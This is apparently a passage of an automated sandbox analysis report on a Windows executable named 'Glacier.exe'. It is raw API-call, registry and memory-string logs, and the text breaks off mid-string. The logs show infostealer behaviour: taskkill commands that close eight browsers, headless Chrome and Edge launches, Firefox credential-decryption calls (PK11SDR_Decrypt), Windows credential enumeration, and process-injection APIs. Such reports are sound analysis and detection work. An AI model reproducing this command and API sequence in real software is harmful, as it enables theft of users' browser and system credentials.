140100000a000000000000005d580000020000000000ac120ca0dc01000000000000000000000000fcfc00003134352e302e373633322e3735000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000d0f4bfadc700000000000000000000000000000000000000c056389efb7f0000486e1c91fb7f000001000000000000000000000000000000000000000000000058f6bfadc70000000000000000000000182553742702000000000000000000002793827ffb7f00000a0c0000270200000000000000000000f0309c7b27020000180000000100000000000000000000000000000000000000000000000000000016b40cdfb8f600000000000000000000bc2d817ffb7f000040000000000000000000000000000000513c23f0c7f4000000000000000000000100000000000000486e1c91fb7f000000000000000000000000359efb7f000000000000 (UID: 00000000-00001176) "Glacier.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001176)35:T6fe,file/memory contains long string with (Indicator: "GetVersion"; File: "Glacier.exe") Found reference to API "20,8032,3024,,RtlGetVersion,NTDLL.dll,"00:43:35.203",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00001176.00000000.167448.74510000.00000004.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00001176.00000001.167729.6E527000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "NSSSMIME_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "NSSSSL_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "NSSUTIL_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "NSS_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp") Found reference to API "PR_GetVersion" (Indicator: "GetVersion"; Source: "00000000-00001176.00000001.167729.6E744000.00000002.mdmp")36:T6a3,"Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1"; Key: "DISPLAYNAME") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\40078385-F676-4C61-9A9C-F9028599D6D3_IS1"; Key: "DISPLAYVERSION") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "DISPLAYNAME") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\CONNECTION MANAGER"; Key: "DISPLAYVERSION") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX"; Key: "DISPLAYNAME") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DIRECTDRAWEX"; Key: "DISPLAYVERSION") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\DXM_RUNTIME"; Key: "DISPLAYNAME")37:T5a0,"Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "Glacier.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Glacier.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Glacier.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Glacier.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "Glacier.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "Glacier.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")38:T4c6,"Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM chrome.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM msedge.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM brave.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM opera.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM vivaldi.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM browser.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM yandex.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter "taskkill /F /IM firefox.exe" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter ""%PROGRAMFILES%\Google\Chrome\Application\chrome.exe" --no-startup-window --headless" - (UID: 00000000-00001176) "Glacier.exe" called "CreateProcessA" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --headless" - (UID: 00000000-00001176)39:Tb02,"Glacier.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-environment-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-heap-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-locale-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-math-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-private-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-runtime-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-stdio-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter api-ms-win-crt-string-l1-1-0.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter KernelBase.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter cryptbase.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter nss3.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\softokn3.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Mozilla Firefox\freebl3.dll (UID: 00000000-00001176) "Glacier.exe" called "LoadLibrary" with a parameter %APPDATA%\Mozilla\Firefox\Profiles\5xz6ua91.default-release/nssckbi.dll (UID: 00000000-00001176)3a:T33dd,"Glacier.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter ProcessPrng (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter RtlGetCurrentPeb (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter RtlGetNtVersionNumbers (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter timeBeginPeriod (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter timeEndPeriod (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter PowerRegisterSuspendResumeNotification (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter SetFileCompletionNotificationModes (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WSAEnumProtocolsW (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetCommandLineW (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter TlsAlloc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateNamedPipeA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateRemoteThread (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateThread (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter DeleteCriticalSection (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter DeleteFileA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter EnterCriticalSection (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter FindFirstFileA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter FindNextFileA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetExitCodeThread (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetLocalTime (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetTempPathA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetTickCount (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter HeapFree (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter InitializeCriticalSection (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter LeaveCriticalSection (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter PeekNamedPipe (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter SetUnhandledExceptionFilter (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter TerminateProcess (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter TerminateThread (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualFreeEx (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter VirtualQuery (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WaitForMultipleObjects (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter lstrcatA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __p__environ (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _set_new_mode (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter realloc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _configthreadlocale (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __setusermatherr (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter memcmp (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter memcpy (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strchr (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strrchr (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strstr (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __p___argc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __p___argv (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _cexit (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _configure_narrow_argv (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _crt_atexit (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _exit (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _initialize_narrow_environment (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _seh_filter_exe (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _initterm (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _initterm_e (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _set_app_type (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter _set_invalid_parameter_handler (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter abort (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter exit (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __acrt_iob_func (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __p__commode (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __p__fmode (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __stdio_common_vfprintf (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __stdio_common_vsprintf (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter __stdio_common_vsscanf (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter fflush (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter setvbuf (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strcmp (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strcpy (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strlen (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strncmp (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter strncpy (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter wsprintfA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter wvsprintfA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter RtlAddFunctionTable (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CreateStreamOnHGlobal (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter GetHGlobalFromStream (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter QueryInterruptTime (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter NSS_Init (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter NSS_Shutdown (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter PK11SDR_Decrypt (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter SECITEM_ZfreeItem (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter SetThreadDescription (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter NSC_GetInterface (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter NSC_ModuleDBFunc (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter FREEBL_GetVector (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CredEnumerateA (UID: 00000000-00001176) "Glacier.exe" called "GetProcAddress" with a parameter CredFree (UID: 00000000-00001176)3b:T1bb2,"CREATE TABLE x( name TEXT, path TEXT, pageno INTEGER, pagetype TEXT, ncell INTEGER, payload INTEGER, unused INTEGER, mx_payload INTEGER, pgoffset INTEGER, pgsize INTEGER, schema TEXT HIDDEN, aggregate BOOLEAN HIDDEN)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "create table x( name text, path text, pageno integer, pagetype text, ncell integer, payload integer, unused integer, mx_payload integer, pgoffset integer, pgsize integer, schema text hidden, aggregate boolean hidden)"), "CREATE TABLE x" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "create table x"), "SELECT*FROM"%w".%s ORDER BY rowid" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "select*from"%w".%s order by rowid"), "SELECT*FROM"%w".%s WHERE %s ORDER BY rowid" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "select*from"%w".%s where %s order by rowid"), "UPDATE %Q.sqlite_master SET rootpage=%d WHERE #%d AND rootpage=#%d" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update %q.sqlite_master set rootpage=%d where #%d and rootpage=#%d"), "UPDATE %Q.sqlite_master SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update %q.sqlite_master set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "UPDATE %Q.sqlite_master SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update %q.sqlite_master set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE %s=%Q" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "delete from %q.%s where %s=%q"), "DELETE FROM %Q.sqlite_sequence WHERE name=%Q" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "delete from %q.sqlite_sequence where name=%q"), "UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update "%w".sqlite_sequence set name = %q where name = %q"), "UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update "%w".sqlite_master set sql = printf('%%.%ds, ',sql) || %q || substr(sql,1+length(printf('%%.%ds',sql))) where type = 'table' and name = %q"), "INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "insert into %q.sqlite_master values('index',%q,%q,#%d,%q);"), "UPDATE %Q.sqlite_master SET tbl_name = %Q name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update %q.sqlite_master set tbl_name = %q name = case when type='table' then %q when name like 'sqlitex_autoindex%%' escape 'x' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q collate nocase and (type='table' or type='index' or type='trigger');"), "SELECT tbl idx stat FROM %Q.sqlite_stat1" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "select tbl idx stat from %q.sqlite_stat1"), "SELECT'INSERT INTO vacuum_db.'||quote(name)||' SELECT*FROM"%w".'||quote(name)FROM vacuum_db.sqlite_schema WHERE type='table'AND coalesce(rootpage,1)>0" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "select'insert into vacuum_db.'||quote(name)||' select*from"%w".'||quote(name)from vacuum_db.sqlite_schema where type='table'and coalesce(rootpage,1)>0"), "SELECT sql FROM "%w".sqlite_schema WHERE type='table'AND name<>'sqlite_sequence' AND coalesce(rootpage,1)>0" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "select sql from "%w".sqlite_schema where type='table'and name<>'sqlite_sequence' and coalesce(rootpage,1)>0"), "CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "create table x(type text,name text,tbl_name text,rootpage int,sql text)"), "CREATE TABLE %Q.%s(%s)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "create table %q.%s(%s)"), "CREATE TABLE %Q.sqlite_sequence(name,seq)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "create table %q.sqlite_sequence(name,seq)"), "UPDATE "%w".sqlite_master SET sql = sqlite_drop_column(%d, sql, %d) WHERE (type=='table' AND tbl_name=%Q COLLATE nocase)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update "%w".sqlite_master set sql = sqlite_drop_column(%d, sql, %d) where (type=='table' and tbl_name=%q collate nocase)"), "UPDATE "%w".sqlite_master SET sql = sqlite_rename_column(sql, type, name, %Q, %Q, %d, %Q, %d, %d) WHERE name NOT LIKE 'sqliteX_%%' ESCAPE 'X' AND (type != 'index' OR tbl_name = %Q)" (Source: 00000000-00001176.00000001.167729.6E744000.00000002.mdmp, Indicator: "update "%w".sqlite_master set 